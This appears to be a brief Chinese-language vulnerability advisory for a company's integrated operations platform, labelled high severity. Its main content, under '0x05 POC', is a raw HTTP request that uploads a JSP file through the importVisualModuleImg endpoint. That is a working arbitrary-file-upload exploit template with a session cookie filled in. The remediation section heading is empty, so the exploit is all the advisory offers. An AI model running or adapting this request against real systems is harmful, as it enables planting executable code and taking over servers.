暂无
高危
北京中科聚网信息技术有限公司的一体化运营平台是一个综合性的信息系统，旨在为企业或机构提供全方位的运营支持和管理服务。
北京中科聚网信息技术有限公司的一体化运营平台
0x05 POC
POST /manage/tplresource/importVisualModuleImg?moduleId=2 HTTP/1.1Host: {{Hostname}}Accept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.111 Safari/537.36Connection: closeCache-Control: max-age=0Content-Type: multipart/form-data; boundary=----xxxxxxxxCookie: JSESSIONID=9438c497-92ad-4800-b821-20602adec4ac; rememberMe=dcOzuzCzFrtr02GhN9IwcsR9v759kvzO9wq/upEQ0jwsU5y/25kFW52CaKmZoRP7pwH979ifBBXB3b+li3PSXwZmxnh+bMgi6kv5vv8WNkNdy1pblj7sPxtwIm71auJPyyOl+aMKAhk/71leMQLpneRk/8f6USYL/acFuWhpjyuVU6oP6YJdIoCKGgdxAiUk;------xxxxxxxxContent-Disposition: form-data; name="file"; filename="tmp.jsp"Content-Type: multipart/form-datatest------xxxxxxxx--
0x06 修复建议